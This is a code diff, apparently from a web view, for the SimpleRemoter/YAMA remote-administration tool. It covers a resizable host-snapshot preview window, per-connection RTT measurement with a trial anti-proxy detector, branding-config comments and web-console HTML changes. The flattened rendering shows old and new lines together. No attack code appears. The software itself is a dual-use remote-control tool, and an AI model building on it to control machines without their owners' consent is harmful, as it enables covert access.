g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2); double imgW = (double)m_image->GetWidth();
double imgH = (double)m_image->GetHeight();
if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
double sx = rcInner.Width() / imgW;
double sy = rcInner.Height() / imgH;
double scale = sx < sy ? sx : sy;
int drawW = (int)(imgW * scale + 0.5);
int drawH = (int)(imgH * scale + 0.5);
int x = rcInner.left + (rcInner.Width() - drawW) / 2;
int y = rcInner.top + (rcInner.Height() - drawH) / 2;
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), x, y, drawW, drawH);
}
} else {
// 单发:与原行为一致,铺满 rc
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
}
} else { } else {
// 占位灰色背景 // 占位灰色背景
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
dc.FillSolidRect(&rcInner, RGB(245, 245, 245)); dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ..."; const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
@@ -231,10 +391,29 @@ void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120)); dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
RECT rcInnerRaw = rcInner; RECT rcInnerRaw = rcInner;
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt); ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT)); dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
} }
} }
void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
if (m_loopMode && GetSafeHwnd()) {
// 循环模式:所有排版交给 OnPaint 读取 client rect重画即可
Invalidate();
}
}
void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
if (m_loopMode && lpMMI) {
// 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
lpMMI->ptMinTrackSize.x = 240;
lpMMI->ptMinTrackSize.y = 200;
}
CWnd::OnGetMinMaxInfo(lpMMI);
}
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc) void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
{ {
RECT r = rc; RECT r = rc;

View File

@@ -20,7 +20,12 @@ public:
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染) // text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局) // imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本) // 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW); // loopMode true: 真正的可拖拽/缩放/最小化/最大化的独立窗口("播放快照"循环),
// 带标题栏 + 任务栏图标,关闭按钮走系统菜单;
// false: 单发 tooltip双击主机的预览无 chrome、不激活、置顶。
// windowTitle loopMode=true 时显示在标题栏与任务栏的文本false 时忽略。
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode = false, const CStringW& windowTitle = L"");
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。 // 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
void SetImageFromJpeg(const BYTE* data, size_t bytes); void SetImageFromJpeg(const BYTE* data, size_t bytes);
@@ -30,15 +35,28 @@ public:
WORD GetReqId() const { return m_reqId; } WORD GetReqId() const { return m_reqId; }
void SetReqId(WORD id) { m_reqId = id; } void SetReqId(WORD id) { m_reqId = id; }
// 循环快照模式:开启后窗口销毁时会向 ownerHwnd 发送 msgIdLPARAM 是堆上的
// uint64_t* 携带 clientId接收方负责 delete且 PostNcDestroy 会自动 delete this。
// 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调,避免重复通知。
void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
uint64_t GetClientID() const { return m_clientId; }
bool IsLoopMode() const { return m_loopMode; }
protected: protected:
afx_msg void OnPaint(); afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC); afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnDestroy();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
virtual void PostNcDestroy();
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
private: private:
void RecalcLayoutAndResize(); void RecalcLayoutAndResize();
void DrawImageArea(CDC& dc, const CRect& rc); void DrawImageArea(CDC& dc, const CRect& rc);
void DrawTextArea(CDC& dc, const CRect& rc); void DrawTextArea(CDC& dc, const CRect& rc);
// 循环模式:基于当前 client rect 重新分配图像区/文本区
void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
CStringW m_text; CStringW m_text;
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位) int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
@@ -54,4 +72,14 @@ private:
CFont m_font; CFont m_font;
WORD m_reqId = 0; WORD m_reqId = 0;
// 循环快照模式相关
bool m_loopMode = false;
HWND m_loopOwner = nullptr;
UINT m_loopMsg = 0;
uint64_t m_clientId = 0;
// 标题栏 / 任务栏图标。WM_SETICON 不转移所有权MSDNoriginator 必须自己释放),
// 析构时 DestroyIcon不能在 OnDestroy 里销毁,因为系统在 WM_NCDESTROY 之前还在用它。
HICON m_hIconSmall = nullptr;
HICON m_hIconBig = nullptr;
}; };

View File

@@ -8,6 +8,7 @@
#include "Buffer.h" #include "Buffer.h"
#define XXH_INLINE_ALL #define XXH_INLINE_ALL
#include "common/xxhash.h" #include "common/xxhash.h"
#include "common/LANChecker.h"
#include <WS2tcpip.h> #include <WS2tcpip.h>
#include <common/ikcp.h> #include <common/ikcp.h>
#include <atomic> #include <atomic>
@@ -378,6 +379,14 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数 std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除 std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 内核测得的纯网络 RTTμs由 IOCPServer 的 RTT 轮询线程通过
// WSAIoctl(SIO_TCP_INFO) 周期性写入;任何线程可通过 GetRttUs() 安全读取。
// m_LastRttSampleMs == 0 表示从未成功采样过OS 不支持或连接太短未轮询到)。
std::atomic<uint32_t> m_RttUs{0};
std::atomic<uint64_t> m_LastRttSampleMs{0};
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
TcpRttBreachDetector m_RttDetector;
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。 // 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受), // 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。 // 仅作为标记供后续命令处理 / 未来收紧策略使用。
@@ -517,9 +526,28 @@ public:
IoRefCount.store(0, std::memory_order_release); IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态 // 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release); m_bAuthenticated.store(false, std::memory_order_release);
// 复用对象池时重置 RTT 相关状态,避免上一个连接的数据污染
m_RttUs.store(0, std::memory_order_release);
m_LastRttSampleMs.store(0, std::memory_order_release);
m_RttDetector.Reset();
} }
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); } void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); } bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
// 由 RTT 轮询线程写入。rttUs 为内核测得的纯网络 RTT微秒
void SetRttUs(uint32_t rttUs)
{
m_RttUs.store(rttUs, std::memory_order_release);
m_LastRttSampleMs.store((uint64_t)GetTickCount64(), std::memory_order_release);
}
uint32_t GetRttUs() const { return m_RttUs.load(std::memory_order_acquire); }
// 供 UI 展示用μs → ms样本超过 10 秒未更新(连接刚断/未轮询到)视为不可用,返回 -1。
int GetRttMsForDisplay() const
{
uint64_t last = m_LastRttSampleMs.load(std::memory_order_acquire);
if (last == 0 || (uint64_t)GetTickCount64() - last > 10000) return -1;
return (int)((m_RttUs.load(std::memory_order_acquire) + 500) / 1000);
}
uint64_t GetAliveTime()const uint64_t GetAliveTime()const
{ {
return time(0) - OnlineTime; return time(0) - OnlineTime;

View File

@@ -9,6 +9,8 @@
// //
// 编码要求:此文件必须保存为 UTF-8 with BOMMSVC 要求) // 编码要求:此文件必须保存为 UTF-8 with BOMMSVC 要求)
// 注意:此文件中的配置会编译到程序中,运行时无法修改。 // 注意:此文件中的配置会编译到程序中,运行时无法修改。
// 修改原则最小化原则。如果是UI文案修改通常没有问题
// 如果修改项涉及数据存储、程序配置、代码逻辑,可能导致程序异常。
// //
// ============================================================ // ============================================================
// //
@@ -107,6 +109,7 @@
// 注册表键名 [仅ASCII无空格] // 注册表键名 [仅ASCII无空格]
// 存储位置HKCU\Software\{此键名} // 存储位置HKCU\Software\{此键名}
// 不能修改,修改会隐藏授权
#define BRAND_REGISTRY_KEY "YAMA" #define BRAND_REGISTRY_KEY "YAMA"
// 网络通信前缀 [仅ASCII无空格] // 网络通信前缀 [仅ASCII无空格]
@@ -262,7 +265,7 @@
// //
// 如果配置值以 "http" 开头,则作为 URL 打开浏览器。 // 如果配置值以 "http" 开头,则作为 URL 打开浏览器。
// 否则直接显示为文本消息。 // 否则直接显示为文本消息。
// // 链接从上级同步而来,修改无效;建议设置这些菜单为隐藏
// 反馈链接(帮助菜单 → 反馈) // 反馈链接(帮助菜单 → 反馈)
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter" #define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"

View File

@@ -22,6 +22,8 @@ inline std::string GetWebPageHTML() {
<meta name="mobile-web-app-capable" content="yes"> <meta name="mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#1a1a2e"> <meta name="theme-color" content="#1a1a2e">
<link rel="manifest" href="/manifest.json"> <link rel="manifest" href="/manifest.json">
<!-- xterm.js (). Files served by WebService from RC binary resources. -->
<link rel="stylesheet" href="/static/xterm.css">
<link rel="icon" type="image/png" href="data:image/png;base64,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"> <link rel="icon" type="image/png" href="data:image/png;base64,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">
<style> <style>
* { margin: 0; padding: 0; box-sizing: border-box; } * { margin: 0; padding: 0; box-sizing: border-box; }
@@ -32,7 +34,17 @@ inline std::string GetWebPageHTML() {
min-height: 100vh; min-height: 100vh;
overflow-x: hidden; overflow-x: hidden;
} }
.page { display: none !important; padding: 20px; min-height: 100vh; } .page {
display: none !important;
min-height: 100vh;
/* iOS notch / Dynamic Island: viewport-fit=cover 让 viewport 顶到物理边缘,
这里用 env(safe-area-inset-*) 把内容推回到安全区内,避免被前摄/底部 Home 条遮挡。
旧设备 / 非全屏环境下 env() 解析为 0等价于纯 20px 内边距。 */
padding: calc(20px + env(safe-area-inset-top))
calc(20px + env(safe-area-inset-right))
calc(20px + env(safe-area-inset-bottom))
calc(20px + env(safe-area-inset-left));
}
.page.active { display: block !important; } .page.active { display: block !important; }
#login-page.active { #login-page.active {
display: flex !important; display: flex !important;
@@ -252,44 +264,32 @@ inline std::string GetWebPageHTML() {
.view-btn:first-child { border-right: 1px solid rgba(255,255,255,0.1); } .view-btn:first-child { border-right: 1px solid rgba(255,255,255,0.1); }
